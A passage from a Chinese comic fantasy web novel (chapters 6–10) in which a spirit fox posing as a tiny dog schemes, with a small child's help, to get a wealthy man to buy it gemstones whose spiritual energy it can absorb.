小崽儿抱着他来到保险柜旁边,狐久两只爪子搭上去,小脸贴着保险柜深深嗅着。 艾玛,好香。 确实是宝石上面的灵气。 但触碰不到就无法吸收。 狐久要馋死了。 靳戎用洗手液洗过手出来时就看到一崽儿跪在地上小脸贴着保险柜,而那只毛茸茸的小爸爸踩在小崽儿的脑袋上用同样的姿势抱着保险柜,两小只皆闭着眼睛,一脸陶醉和享受。 这副画面既可爱又诡异。 “你们在做什么?”靳戎出声。 “靳戎,我喜欢里面的东西,可以给我吗?”小崽儿睁开眼眨巴着大眼睛向靳戎提出要求。 喜欢里面的东西? 请问保险柜里有什么? 金钱。 当初胡硕就是从这个保险柜里拿走那一百万的。 现如今他的儿子跟他说他喜欢里面的东西。 这父子俩长着一样的脸,都对他的钱感兴趣。 不,还有一只狗也对他的钱感兴趣,那口水顺着保险柜的缝隙都滴答到地上去了。 靳戎走过来打开保险柜。 里面除了一百万现金以外还有给胡硕之前买过的各种各样的宝石。 是,胡硕拿了一百万跑了之后,靳戎又在里面放了钱和之前给胡硕买的那些宝石,密码也没变。 他想等那小骗子自投罗网,但一直没等到,反而等来了小骗子的崽儿和小骗子的狗。 靳戎想起憋屈事儿,闭上眼深吸一口气,再次睁开眼后就看到那巴掌大的狗已经撅着屁股钻进了保险柜,拱进那堆珠宝玉石里一顿扒拉。 靳戎:“……”胡硕的狗跟他一个德性。 一保险柜的珠宝,但灵气都已经被吸收了。 只有犄角旮旯里的这颗红宝石戒指上还残存着些许灵气。 狐久深深吸了一口,入体丝滑,柔顺没有丝毫阻碍,虚弱的身体明显感受到了一股力量。 他从来没体验过这么纯粹的灵气,这难道就是传说中金钱的味道? 只可惜太少了。 狐久将戒指套在自己的爪子上一跃而起扑向靳戎。 靳戎伸手接住它。 狐久坐在靳戎手里抱着他的一根手指开始疯狂摇晃。 给我买,给我买,给我买!!! 狗疯了。 靳戎皱眉,另一只手稳住狐久的身体,垂眼看着他:“不用撒娇,我知道你饿了,再忍忍,马上带你下去吃饭。 吃饭先放放。 狐久改成抱住他的手腕晃,细长的眼睛疯狂朝他眨动,买买买,给我买买买。 靳戎皱眉。 突发狗癫疯? “小爸爸说让你给他买宝石。”小崽儿仰着头帮不能说话的狐久翻译。 一只狗要什么宝石? 靳戎指着那一保险柜价值过亿的宝石:“这些都给你了。” 既然胡硕不珍惜,那就给他的狗吧。 狐久摇头晃脑。 “小爸爸说买新的,他不要用过的。”小崽儿再次翻译。 靳戎笑了,一只狗还挑上了? 靳戎抱起小崽儿:“它不是这个意思。” 我是这个意思!!! 狐久急了,用爪子拍靳戎的脸。 就是这个意思!!! “小爸爸是这个意思。”小崽儿抱住靳戎的脖子晃,“靳戎,你给他买好不好?” “不好。”靳戎毫不犹豫拒绝。 能把保险柜里的那些给它玩就已经很大度了。 给一只狗买珠宝? 除非他疯了。 7.第 7 章 第7章 靳戎随手从保险柜里掏出一串珍珠项链给狐久戴,但狐久太小了,项链根本挂不住,于是靳戎便在他身上绕了三圈。 白珍珠配着漂亮狗雪白的毛发有些单一,靳戎又在保险柜了翻了翻,找出一个碧玉手镯,戴在人手腕上的镯子正好能卡在狗狗的脖子上当项链。 靳戎把狐久放在书桌上,后退一步双臂环胸欣赏自己的杰作:“好看吗?” “好看诶。”小崽儿倚靠在桌前鼓起小巴掌,特别捧场,“小爸爸,你好好看哦,闪闪的,还会发光呢。” “……”狐久差点儿骂街。 好看什么好看,除了这颗红宝石戒指,身上这些玩意儿都是些毫无用处的垃圾,挂在身上怪沉的。 神经病。 狐久坐在桌上与靳戎对视,两只小爪子交叠在一起朝他拱手,试图用肢体语言与这个精神病男沟通:求求了求求了,求求你给我买宝石好不好? “不用谢。”靳戎再次感叹这只狗的聪明,“我刚刚说过了,这里面的东西都是你的,你随便戴,跟着我我会让你做最富贵的狗。” 狐久:“……” 无法沟通。 晚饭好了,老管家正要上去请人下来吃饭,就看到老板手里端着个盘子身后坠着个崽儿从楼梯处走了下来。 老管家眼珠子Duang的一下瞪出三米远。 天青色的古董青花瓷盘子里端坐着一只珠光宝气的狗,红宝石戒指的光芒与碧玉手镯交相辉映,如一幅绝世画作,名字叫《霸总与狗》。 老板将他精心原创的画作放到了餐桌上,然后把缩小版胡硕抱起来放到了隔壁的椅子上,最后自己在对面落座。 “怎么只有两套餐具?”靳戎问老管家。 为什么不是只有两套餐具? 老管家没问,只面无表情去厨房又拿了一套餐具出来摆在了霸总的狗面前,左爪叉右爪刀。 优雅,实在是优雅。 老板出去一趟好像疯了。 “它可以吃这些东西吗?”没养过狗的霸总问儿子。 “可以的呦,小爸爸什么都能吃。”抱着奶瓶的儿子回答霸总。 “好,那开饭吧。” 靳戎亲手切好牛排放到了狐久面前的盘子里,狐久试图拿起刀做一只优雅的狐狸,但刀叉实在是太重了,只能放弃,选择用爪子抓起来吃。 狐久大口嚼着牛排,他得想办法让靳戎给他买宝石,如果有足够的宝石他就可以重修修炼化成人形,然后像靳戎一样坐在这里优雅地喝红酒吃牛排了。 想想就觉得日子充满希望。 “小爸爸,吃这个。”小崽儿拿了一块颜色鲜艳的不认识的东西放到狐久嘴边,狐久低头叼走。 好吃。 “这个,这个。”小崽儿又想伸手把盛着汤的碗拖过来,“小爸爸,喝这个。” “我来。”靳戎怕小崽儿烫到手,坐过去接过瓷碗,用勺子盛了汤吹凉后喂到狗的嘴边。 狐久吸溜一口。 好喝。 餐厅绚丽的顶灯下,一人一崽一狗分外和谐,也像一幅画作,老管家起名《一家三口》。 和谐又诡异。 怀疑人生.jpg。 老管家很想跟薛秘书聊聊,但薛秘书已经下班回家,只有老管家独自一人欣赏这些稀世画作。 吃过晚饭后,靳戎去了书房处理事情,吃饱喝足的狐久趴在沙发上消食顺便吸收红宝石戒指上的灵气。 太少了,实在是太少了。 就像满满一大锅珍馐美味,自己只舔了一口汤后就已经什么都没有了。 狐久将红宝石戒指从爪子上摘下来扔到一旁,好了,垃圾。 但即便只有一口,狐久也感受到了自从化形失败后身体上前所未有的舒服。 老管家把被狗随便丢弃的珍珠项链玉石镯子还有红宝石戒指捡起来放到青花瓷盘里端着上楼。 老管家敲响书房门时恍惚间回到了半年多以前,那时候胡硕也是这样随地丢弃这些珠宝首饰的,然后他捡起来上来送还给老板。 “呶。”老管家用下巴示意,“狗扔的。” 坐在书桌后的靳戎瞥了一眼,丝毫没觉得奇怪,毕竟他已经习惯胡硕的狗跟胡硕一个德性了。 靳戎将几件珠宝放进保险柜,以前胡硕把玩这些东西还能玩个三五天,没想到他的狗只玩两个小时。 难道真的要给它买一些新的? 靳戎晃了晃头。 这个念头太荒谬了。 靳戎挑了几颗又大又瑰丽的东珠放到青花瓷盘子里给老管家:“这个拿去给它玩吧。” 老管家:“?” 给狗玩清代传世老东珠? 老管家下楼把东珠给狗,还跟狗说话:“给你玩。” 狐久懒洋洋瞥了一眼,垃圾。 老管家端着托盘上楼:“它不玩。” “……” 靳戎深吸一口气:“算了,不玩就不玩吧,我是不会给一只狗买珠宝的。” 老管家:“。。。” 这剧情非常熟悉,如果对方不是一只狗,他还以为胡硕回来了呢。 * “某狐前辈吃的真好啊。”跟小崽儿一起被保姆洗干净放到床上的狐久发出一声感慨。 不用自己洗澡澡还有人给吹头发的小崽儿穿着薛秘书让人送来的卡通儿童睡衣脑袋枕在狐久身上,晃着小脚丫:“胡硕爸爸吃啥了?” “吃了一保险柜的灵石啊。” 那大东珠上的灵气如果能给他,说不定立刻就能把另一只胳膊给变出来。 狐久要羡慕死了。 但靳戎不给他买。 “宝宝再去帮小爸爸求靳戎好不好?”小崽儿嘀嘀咕咕出主意,“他要是不答应,宝宝就哭。” “没用。”狐久摇头,细长的狐狸眼眯起来,“即便他答应了,也最多只买一件两件,这远远不够。”他的身体怕是需要好几保险柜的灵石。 他跟靳戎无亲无故,靳戎为何要给他买那么多的灵石? 就因为他长得漂亮吗? 所以嘛,还是得想别的办法。 狐久一只后腿搭在另一只后腿上晃,坑蒙拐骗,用哪一招呢? 老管家敲门进来,看到狗跷二郎腿。 眨了一下眼,看到狗趴在那里。 今天忘吃叶黄素了,果然叶黄素对眼睛好,一天不吃就能看到狗翘二郎腿。 “管家爷爷有事吗?”小崽儿眨巴眼睛看他。 “你晚上没吃饭,管家爷爷给宝宝做了小甜饼,宝宝要不要吃一点?”老管家夹嗓子就像是树皮撕裂时发出的那种嘎吱声,狐久起了一身鸡皮疙瘩。 “不用,他不吃。”靳戎跟在后面进来,“他过敏,只喝奶,给他再冲一些奶粉吧,等明天过敏原检查出来再说。” “是的呀,管家爷爷,宝宝不能吃哦,但小爸爸可以吃,谢谢管家爷爷。” 小崽儿礼貌道谢,给老管家萌的双眼泛光。 咋就能生这么好看呢。 胡硕的好看带着成年人的魅惑,而崽崽不一样,只有单纯的漂亮和可爱,尤其是眨眼时,那双清亮的大眼睛里全是童稚。 看的人心都化了。 老板与胡硕的恩怨与管家和崽崽无关哦。 “那我给宝宝放到这里,宝宝饿了就吃。”老管家把那一盘子小甜饼放到了床头柜处。 “管家爷爷你真好。”嘀,小崽儿发好人卡。 老管家笑的嘴都咧到腮帮子后头去了。 靳戎打量了一下卧室的布置,虽然回来的有些突然,但老管家给小崽儿收拾的房间还不错。 “明天再给他添置一些东西。”靳戎再次强调,“都用最好的。” “好的,老板。” 时间已经很晚了,靳戎见小崽儿打了哈欠,便给他盖上被子关上灯,起身离开。 “我让小张上来陪他睡。”小张是家里的保姆。 老管家说:“小孩儿一个人睡怕是会害怕。” “不用,他很独立。”昨天晚上在酒店,小崽儿都不需要他哄,自己就睡了。 “是吗?”老管家很诧异,“小孩儿骤然离了熟悉的环境和亲人,一定会找爸爸妈妈的。” “是吗?”靳戎也很诧异,旋即又挑眉,“果然是我天选的儿子。”离开胡硕不哭不闹特别乖巧。 老管家:“哈?” 真就这么认了吗?靳戎睨他:“怎么,我们不像父子吗?” 你说呢? 老管家:“你们一看就是亲父子。” “长得是不是跟我很像?”靳戎又问。 长眼睛的人都能看得出来。 老管家笑:“像。” 靳戎推开主卧的门:“以后生活在一起吃一样的饭喝一样的水会更像的。” 谁说的? 有科学依据吗? 老管家维持微笑:“老板说得对。” 靳戎非常满意老管家的回答,看这间主卧也顺眼了很多。 房子是认识胡硕之后买的,所以他和胡硕一起搬进来,一起住进了主卧。 虽然两人只发生过一次关系,但却是实实在在同床共枕过三个月的。 靳戎洗了个澡后出来躺在他以前躺的那半边床上划开手机上网给小崽儿买奶粉。 小崽儿非常能喝奶,他那个奶瓶一千毫升,小崽儿一天能喝五瓶,他从仙山带出来的奶粉没剩多少了。 靳戎找出之前拍的奶粉罐的照片在购物平台上搜索,这奶粉长相非常朴实,就是一个奶粉罐贴了个卡通红狐狸的标,没有名字。 看着像三无产品。 靳戎找到一家卖这个奶粉的店铺,店铺名叫“特殊宝宝之家”。 怎么就特殊宝宝了? 靳戎对这几个字眼非常不喜欢,打算换一家店铺,发现全网只有这一家店铺在卖这个奶粉。 两千一罐。 便宜无好货。 搜一下别的牌子,三百多四百多一罐? 奶粉这么便宜吗? 靳戎又切回之前的店铺。 原来这奶粉算贵的,所以月销售只有8。 下面还有一行小字:研发成本高,大家多多担待,如捐款请私我,谢谢。 靳戎下单先买五箱。 一箱六罐,三十罐够小崽儿喝一个月的了。 靳戎点开私聊:麻烦加急走空运,最好明天下午能到,我加运费。 店铺小二立刻发来了消息。 胡八道:感谢新用户亲亲的下单呢,欢迎欢迎,鼓掌鼓掌,撒花撒花!!! 胡八道:走空运可以,运费加三千可以吗,亲? 靳戎:可以。 胡八道:好的呢,好的呢,小二立刻帮亲亲打包发货呢,明天下午保证能到。 胡八道:万千世界芸芸众生,你我在此相逢,实是累世的缘分呐。 胡八道:作为本店的新客户,又恰逢本店上新,所以免费送有缘之人的您二两菠菜呢! 胡八道:为助力所有特殊宝宝都能吃饱饭健康长大,请问您要捐款吗? 靳戎:不捐。 六万块送二两菠菜? 还想让他捐款? 靳戎点出去看了一眼。 菠菜是昨天刚上架的,特殊儿童菠菜,一斤一千块。 月销售0。 即便靳戎非常有钱,但一千块一斤的菠菜,还是网购的,傻子才买吧。 靳戎:麻烦你准时发货。 然后便下了线。 靳戎这几天舟车劳顿一直没睡好,把所有事情处理完后便关灯睡觉。 实在是太累了,靳戎几乎是秒睡,卧室内的呼吸声很快就变得绵长起来。 房门被轻轻推开,一只白色的小小身影悄无声息走进来跳上了床。 黑暗中,一双细长的冰蓝色眼睛闪着细碎的光芒。 狐久迈着它因为吸了一口灵气暂时变得矫健的步伐慢慢走到了靳戎的脑袋旁缓缓趴下,凑近靳戎的耳朵吹了一口灵狐的仙气,然后口吐人言。 “给他买宝石,你会得福报的。” “给他买宝石,你会得福报的。” “给他买宝石,你会得福报的。” 既然他和靳戎无法双相沟通,那他就只能选择单方面输出了。 这一口仙气耗费了他刚刚吸收的那一口灵气,但足以让靳戎一夜好眠。 “给他买宝石,给他买宝石,给他买宝石……” “给他买,给他买……” “给他,给他……” “买宝石!!!” “给!他!!买!!!” 8.第 8 章 第8章 “靳戎,我让你亲一下,你就给我买一件宝石好不好?” “不好。” “为什么?” “因为要亲两下才可以。” 胡硕喜欢他的钱,靳戎从一开始都知道。 但他不介意也不在乎。 举止风度气质见识从来都与金钱挂钩,不喜欢这些,难道喜欢一穷二白抠抠搜搜小里小气吗? 世人喜欢将“不爱钱”包裹成伟大的爱情,靳戎不仅对此嗤之以鼻,甚至觉得贪恋金钱的爱情才会更加稳固。 只要他一直有钱,胡硕一直爱钱,他们的爱情就能长长久久。 所以,买,给他买,他想要的都给他。 就在这张床上,胡硕会搂着他的脖子挂在他身上在他耳边念咒似的嘀咕着:“给我买,给我买,给我买……” 时隔大半年,靳戎躺在这里再次听到了胡硕念咒的声音。 “给它买宝石,给它买宝石,给它买宝石……” 睡梦中的靳戎循着本能伸出手想要将人搂进怀里,却扑了个空。 只有胡硕的声音三百六十度立体环绕,不绝于耳。 那小骗子的声音很干净很清澈,与他那双带着些魅惑的眼睛不太相配,所以靳戎只听他声音时会想给他全世界让他快乐一辈子,但看到他的脸和眼睛时却只想把他压在床上让他三天三夜下不了床。 靳戎很久没听到他的声音了。 即便憋闷,却还是控制不住会贪恋。 靳戎是被闹钟惊醒的,起身时看到身侧空无一人的床,心里还觉得空了一块。 胡硕以前总嫌弃他古板无趣,更愿意跟任骁出去“鬼混”,没成想胡硕离开后,自己倒是有趣了,不仅能日有所思夜有所梦,还能发散思维,梦到胡硕抱着他让他给他的狗买宝石。 越来越荒谬了。 靳戎掀开被子下床,从被子里滚落一团白色身影。 在靳戎耳朵边“做法”一晚的狐久已经力竭,此时撑着最后一点儿精气神趴在被子上渴望地看着靳戎:男人,有没有一种想要买宝石的冲动? 靳戎尚未从梦中完全走出来,对上小家伙亮晶晶的眼睛,便曲起手指在它脑袋上弹了一下,声音带着晨醒的沙哑:“你是不是也想让我给你买宝石?” 嗯嗯嗯嗯。 狐久疯狂点脑袋。 苍天啊大地啊…… 他终于和这个用珠宝打扮狐狸的精神病男对上脑电波了。 这只狗竟然在点头。 靳戎挑眉,俯身与它对视。 睡了一夜头发有些凌乱的年轻男人,不复其他时间的冷静自持,眼角上扬,似笑非笑:“给你买倒是也可以,但有个条件。” 胡硕亲他两次就可以买一件宝石,至于他的狗狗嘛…… “你逗我笑一次,我就给你买一件。”靳戎盯着漂亮狗的漂亮眼睛,“听得懂吗?” 听得懂。 狐久眯眼。 拿他当猴耍呗。 靳戎抬手逗它:“来,站起来。” 他竟然用逗狗的方式来侮辱他。 他堂堂仙山一灵狐,岂会卖笑为生。 愚蠢的人类。 靳戎看着眼前没有任何表情的小家伙,挑眉:“看来你也不是很聪明嘛。” 所以它是什么怎么进到自己卧室的,又是什么时候进来的? 他睡觉虽然没有锁门的习惯,但门把手却是很高的,巴掌大的狗再怎么厉害也不可能悄无声息走进来。 靳戎看向门的方向,恰好门外传来小崽儿带着哭腔的声音:“靳戎,你醒了没,我小爸爸不见了,呜呜呜呜……” 靳戎忙起身去打开门,往床上一指:“你小爸爸在那儿。” 小崽儿赤着小脚丫子哒哒哒跑进来扑到床边,抽噎着靠过去用小脸蹭狐久:“小爸爸,你吓死宝宝了。” 靳戎看着哭的满脸是泪的小崽儿,想起昨天晚上老管家的话,小孩儿离了熟悉的环境和人后是会哭闹的。 原来小崽儿不是不哭闹,而是离不开他的小爸爸。 看来,这只狗狗比胡硕这个亲爸还要重要。 “对不起哦。”狐久忙伸出爪子拍小崽儿的脑袋,在他耳边低语安抚,“小爸爸错了,以后再也不离开宝宝。”他昨天晚上在靳戎耳朵边念叨了一晚上,最后体力不支实在是爬不回去了…… 是他的错。 靳戎猛地抬头,他好像听到胡硕的声音了。 小崽儿已经爬上床,跟狐久脑袋挨着脑袋,情绪渐渐平复,屋内毫无声音。 靳戎捏了捏眉心,他被梦境影响的都出现幻听了。 靳戎今天需要去公司上班,去浴室冲了个澡后便去衣帽间换了衣服。 剪裁合体的黑色西装,宝石蓝的领带,抓的一丝不苟的头发,让明明被恶魔低语了一晚的英俊男人看起来精神奕奕。 狐久非常不爽,这男人未免也太淡定了吧。 买宝石会有福报,这是神的指示诶,换成仙山上求神问佛的那些人怕是早就激动地跳起来了,偏他毫无反应。 靳戎抱着父子俩下楼,老管家已经让人摆好早餐。 今天的餐桌上依旧是名画《一家三口》,用筷子的人,用爪子的狗和喝奶的崽儿。 狗狗还用爪子拍拍靳戎的手,又用爪子指指崽儿那比脸盘子还大的奶瓶,作为人的老管家不明白这是什么意思。 “奶粉已经买了,今天到货。”靳戎说。 哇哦,有人理解。 “谢谢靳戎,你人好好哦。”小崽儿发完好人卡后不忘给小爸爸要福利,舔着唇上的奶渍软乎乎说,“你要是能给小爸爸买宝石,你就更好了呢,靳戎。” 这小崽儿打小就会套路人,有他爸的影子了。 “可以。”靳戎说。 “真的吗?靳戎。”小崽儿没想到靳戎能答应,大眼睛立刻亮晶晶。 靳戎看了一眼那只像是一夜没睡精神萎靡的小爸爸,再次抬起手:“站。” 狐久快支撑不住睡过去了,但为了身体还是在顽强地啃鸡腿,此时懒洋洋瞥了一眼这精神病男,自灵魂深处发出一声鄙夷的轻嗤。 仙山灵狐的尊严不可以被践踏。 他是不会卖笑求荣的!!! 小崽儿撅着屁股从椅子上爬下去站到靳戎面前,脑袋挨着他的手,不明白却照做:“靳戎,宝宝站的对吗?” 靳戎愣了愣,然后愉悦地笑出了声。 “?” 狐久也不知从哪儿来的力气,猛地一下蹦到靳戎面前,朝他伸出了爪子。 别管谁卖的,总之不能白卖。 靳戎笑着起身,分别在狐久和小崽儿脑袋上揉搓了一把:“放心,我不会食言的。” 老管家将靳戎恭恭敬敬送出门,老板不愧是老板,一大早就创作,《论掌握一门外语的重要性》。 9.第 9 章 第9章 靳戎上班路上收到了陈医生发过来的检查报告,靳戎看了看后,让司机掉头先去了趟医院。 “医院能检查的过敏源只有三十多种。”陈医生坐在办公桌后看着靳戎,“他全中招了,我从来没见过这种病例。” “全都中招?”薛秘书不解,“那岂不就相当于说所有食物他都不能吃?” 陈医生点了点头:“但你昨天说他可以喝奶粉,所以我又让他们检测了一下你留下的那些奶粉,做了一个对比后又做了一个测试,得出一个结论,他不是对食物过敏,而是对残留在食物上的各种农药保鲜剂防腐剂或者漂白粉之类的过敏。” “而他喝的奶粉则非常天然,很健康,没有杂七杂八的东西,比市面上百分之九十九的奶粉成分都要好,但他现在的年龄,只喝奶是不可以的,必须得吃食物才能保证身体生长的需要。” “那剩下的百分之一是什么奶粉?”靳戎问。 “……”陈医生耸肩,“我也没见过,但我觉得应该会存在吧。” 靳戎放心了,小崽儿喝的已经是最好的奶粉了。 “简单来说,就是他的体质非常特殊,在食物的选择的上需要非常注意,必须天然无污染的食物才可以。” “我们在超市里买到的那些所谓的天然无污染的食物其实很难做到百分百没有药物残留,所以咱们平日里吃的东西对于他而言都是过敏原。”陈医生看了一眼靳戎,委婉提醒,“他爸能把他养这么大不容易,这孩子只会……越来越难养……” 非亲生,不建议养哦,会被讹。 “确实很难养。”靳戎赞同陈医生的说法。 陈医生以为自己的话起作用了:“那靳总……” “薛秘书,给院长打电话,我私人拨款成立一个专项实验室,用来检测各种蔬菜瓜果,达标的再送到家里去给小崽儿吃。”靳戎起身,对陈医生说,“这件事情你了解的最清楚,你来负责,尽快落实。” 陈医生:“?” 真的要养胡硕的崽儿吗? 不再考虑一下吗? “对了,这件事情要保密。”靳戎打开门时又回头嘱咐陈医生,“不要对外说小崽儿的事情。”与身体有关的事情很容易会被人利用。 “我懂,靳总放心。”给渣了自己的前任养孩子这种事情,传出去还了得? “那对外怎么说呢?”陈医生有些苦恼,专项实验室这种事情肯定瞒不住的,到时肯定有人问。 靳戎只用了三秒时间就想出了对策:“项总要备孕,所以饮食要健康。” 陈医生:“……” 薛秘书:“……”妙啊。 …… 靳戎前脚进了办公室,项琛后脚就跟了进去。 靳戎着急开会,他已经迟了五分钟了,于是瞥了项琛一眼道:“给你批五百万。” “什么?”项琛惊了。 他弟疯了吧? 怎么会舍得给他五百万? “你找到胡硕了?” “我什么时候要找他了?”靳戎轻嗤,“你不提,我都快忘了他的名字了。” 他弟一向口是心非,项琛已经习惯了。 他这大半年打着出差的幌子去找胡硕,每次回来都心情不爽好几天,但今天竟然一上来就大方的给他批了五百万。 这不对劲。 说不过去。 “你没事儿吧?”项琛关切的问,一般这种时候不是大悲就是大喜。 “好好保重身体。”靳戎拍拍他哥的肩膀,转身出了办公室。 薛秘书抱着电脑跟在后面往外走,被项琛一把扯住胳膊,用眼神问他:你老板什么情况? 薛秘书小声说:“老板很关心项总你,这次我们出去路过寺庙,一向不信这些的老板还专门为你祈福了呢。” “是吗?”项琛诧异地扬眉,“他给我祈福?”他怎么那么不信呢。 “嗯嗯嗯。”薛秘书猛点头,努力证明这是真的。 当然了,这也确实是真的。 项琛从薛秘书脸上看到了真挚,非常感动:“果然是亲兄弟,打断骨头连着筋,我以前小人之心了。” 薛秘书:“……那我去开会了,项总。”你好好备孕哦。 “去吧。”项琛心情很好地摆了摆手。 …… 靳戎好几天没来公司,事情特别多,午饭都是随便对付了一口,等到再空下来时已经月上柳梢了。 靳戎终于有时间给老管家打电话。 老管家跟靳戎汇报家里的事情。 “崽崽很乖,不哭不闹,给什么玩什么,中午睡了一觉,下午时奶粉送来了,崽崽很开心,说老板是除了小爸爸以外对他最好的人。” “我今天请了几个人,两个厨师,两个育儿师,还有两个干杂活的,今天中午试了其中一个厨师的菜,崽崽的小爸爸吃的特别好。” “它没睡?”靳戎出声。 “谁?崽崽嘛,睡了呀,我刚刚没说吗?” “我说他小爸爸。”一天不是要睡二十多个小时吗? “哦,睡了一觉,中午时醒了,吃了午餐后又睡了,晚饭时又醒了,换了个厨子做菜,它不爱吃,于是我把这个厨子给辞了,明天换个厨师继续试菜。” “嗯。”靳戎想了想,“以前那个做烧鸡做的特别好吃的厨师,他现如今不当厨师了吗?” “老板说王光吗?我今天第一个就给他打了电话,但他回老家看孙子去了,说是不太想回来呢。”他做的饭胡硕最喜欢吃,尤其是烧鸡,胡硕的最爱。 “加工资,加到他回来。”胡硕的狗与胡硕应该口味也一样吧,不然去仙山时也不会特意让他带一只烧鸡了。 “好的,老板,我试试,看他愿不愿意。” 家里一切正常,靳戎便没回去,现在已经晚上九点了,从市中心到郊区要一个多小时的车程,没什么必要。 他只是要让他们当最富贵的崽儿和最富贵的狗,并没有说要当一个二十四孝好老爸。 靳戎回了公司附近的公寓,几天没回来,竟然觉得空荡荡冷清清的。 不被小崽儿喊几声“靳戎”像是少了些什么似的。 * 老管家挂断老板的电话后又去小崽儿的房间看了看。 小崽儿还没睡,正抱着他的小爸爸趴在床上看平板,看到管家进来,软呼呼打招呼:“管家爷爷。” 小崽儿实在是乖的让人心疼,他从来没见过这么好带的崽儿。 “要不要睡了?” “不要呢。”小崽儿摇头,“我要等靳戎回来。”靳戎早上说要给小爸爸买宝石,他和小爸爸等了一天了。 小爸爸为了宝石白天都没怎么睡觉呢。 “靳戎今天不回来睡呢。”老管家笑着说,“宝宝不用等了,爷爷看着你睡好不好?“ “不回来?”一崽一狐同时瞪大眼睛,天塌了。 他怎么能不回来呢? 狐久更是气得爪子都要哆嗦了。 这个天杀的男人。 他竟然骗他。 他早上说只要他卖笑求荣就给他买宝石,他说他不会食言,所以他今天一直很兴奋,一直在等属于自己的那颗宝石。 他不敢睡,就等着第一时间见到自己的宝石,他一直等啊等等啊等,竟然等来一句“不回来了”? 他是在耍他吗? “小爸爸别伤心,宝宝帮你问。” 小崽儿说自己要睡觉了,让管家爷爷出去,然后找出胡硕爸爸的手机给靳戎打 了视频过去。 哼,宝宝生气了呢。 靳戎刚洗完澡,看到手机屏幕上的“小骗子”三个字时心跳还漏了一拍,愣了几秒后才想起这手机现如今在胡硕的狗狗手里。 靳戎接起了视频。 屏幕里的崽儿穿着毛茸茸的小狐狸睡衣,怀里坐着一个同样毛茸茸的巴掌大的狗,四只漂亮的眼睛齐齐瞪着他。 “嗯?”刚刚还觉得屋子空荡荡的靳戎觉得家里一下被填满了,唇角微勾,“怎么还没睡?” 小崽儿撅了噘嘴。 小爸爸说不能直接问,容易让他觉得他们父子俩是贪图他的钱。 人类一旦觉得别人贪图他的钱,便会有了防备心,所以不能让靳戎一开始就防备他们,不然以后就不好骗了。 “靳戎,你咋不回家呢?”小崽儿歪头,“宝宝想你了呢,小爸爸也想你。”想你的宝石想的不得了。 靳戎出生在一个非常幸福的家庭里,父母恩爱,大哥虽然又傻又笨又废物,但兄弟关系还不错,所以他经常会被人关心,但从来没有一种关心像小崽儿这种,让人心里满满登登的。 靳戎靠在沙发上找了个舒服的姿势,举高手机:“我要赚钱给你和你小爸爸买好多好吃的,所以今天不能回家。” “哦……”小崽儿歪头,“那明天能回来吗?” 靳戎不敢做保证:“我尽量。” “这样啊……”小崽儿有些失望,“那你明天可一定要回来哦,宝宝和小爸爸都等你哦。” 靳戎心里更熨帖了,将手机拿近一些:“你把你小爸爸举起来我看一看。”一天不见这漂亮狗,还怪想的呢。 看个屁。 狐久伸手把视频挂了。 靳戎只觉眼睛一花,他刚刚是不是看到了一只属于成年人的手? 修长白皙有些眼熟。 靳戎捏捏眉心,真是魔怔了。 …… 别墅里,狐久趴在那里,用自己唯一化成的手恨恨捶床。 他就不该信这个男人。 什么不会食言,都是在敷衍他罢了。 “小爸爸,你没事儿吧?”小崽儿担心地摸他,“你气得毛都炸起来了。” 不气不气。 别吓着崽儿。 狐久深吸一口气。 放平心态,再等一天。 他明天要是还不给他买,他就…… 再等一天。 狐在屋檐下不得不低头,但凡他能找到别的优质人类,他也不会在靳戎这一棵歪脖子树上吊死。 * 靳戎并没有忘记自己的承诺,第二天用了大半天处理完工作后便驱车去了以前经常去的珠宝店。 他起初也是带胡硕来珠宝店买珠宝的,胡硕刚开始时很兴奋,后来就看不上了,他更喜欢那些拍卖会上的不可得之物。 他的狗狗虽然的聪明,但也不至于聪明到知道拍卖会的程度。 “靳总,您好,今天要买些什么呢?”以前靳总是常客,三天两头就来,后来就再也没来过了,所以导购看到他非常兴奋,因为靳总每次来都要带走几十万的东西。 靳戎在店里来回看着,眉头微蹙。 “请问靳总您要买给谁呢?生日还是纪念日?”以前的靳总身边总跟着一个漂亮男孩,那男孩眼光非常犀利,每次都直奔店里最贵的饰品去。 靳戎对此确实没什么研究,听到导购问,便也将这个难题教给她,于是伸手比划着:“这么大,跟我的手掌差不多,纯白的毛,眼睛是冰蓝色的,应该是银狐犬,很小很小,适合戴什么?” “什么?”导购脸上的笑容僵住,“不好意思,靳总,我没听明白,您是要给谁买?”父母,亲人,爱人,朋友? “一只狗。” 10.第 10 章 第10章 几个导购一起为靳戎服务。 白色毛的的漂亮狗狗要用什么饰品来相配? 靳戎挑选的很认真,跟以前给他那个漂亮的小男朋友选饰品一样认真。 一只狗狗跟他以前的那个小男友一样给他们店带来了几个月的业绩……找谁说理去呢? 靳戎像进货一样拎着一个大袋子走出珠宝店,隔壁是一家宠物用品店,靳戎步子顿了顿后走了进去。 靳戎在宠物用品店里待了一个多小时才出来,出来时手里又多了一个大袋子。 靳戎准点到家,下车的一瞬间,狐久已经从沙发上抬起了脑袋。 灵气。 他嗅到了灵气。 越来越近,越来越近,随着大门的打开小崽儿人类爸爸的出现,那股灵气已经直逼狐久的天灵盖。 还没吃呢,就被香晕了。 狐久看靳戎,觉得这个精神病男人今天分外高大,分外英俊。 他为昨天晚上咒骂他一整夜深表歉意。 不就是喜欢给狐狸戴珠宝嘛,他现在欢迎极了。 “靳戎,你回来啦。”小崽儿抱起狐久跳下沙发哒哒哒跑过去,小脸上全是兴奋,“你真的回来啦。” “嗯。”靳戎摸摸他的脑袋,然后对上被他抱在怀里的狐久,那双细长的眼睛愣是被硬生生瞪大了两倍,里面全是细碎的光,写满了激动与渴望。 来来来,快给狐打扮。 把你那一兜子全都戴在狐身上,越多越好。 靳戎在狐久期盼的眼神中从拎着的大袋子里掏出一个小袋子,又从小袋子里掏出两个一模一样的红色丝绒盒子放到小崽儿手里:“这是送给你和你小爸爸的礼物。” 说完瞥了一眼狐久后就拎着大袋子往二楼走。 狐久眼睁睁看着一团灵气分成两股,厚重的那股随着靳戎的走动离他远去,只剩一缕落在小崽儿手里。 哈? 不是都给他的吗? 小崽儿抱着狐久一屁股坐在地板上打开了两个丝绒盒子:“小爸爸,你看。” 一个盒子里是一个平安扣吊坠,另一个盒子里是小孩儿腕上常戴的平安扣手绳,两块平安扣都是成色很好的和田玉,一大一小,旁边还坠着些金银的珠串。 虽然这两个平安扣上的灵气并不充沛质量也一般,但比红宝石戒指上残留的是要多一些的。 如果狐久没有见过某狐前辈那一保险柜的稀奇灵石,没有看到刚刚那一兜子的灵气,那他现如今一定很兴奋。 看得到,吃不着…… 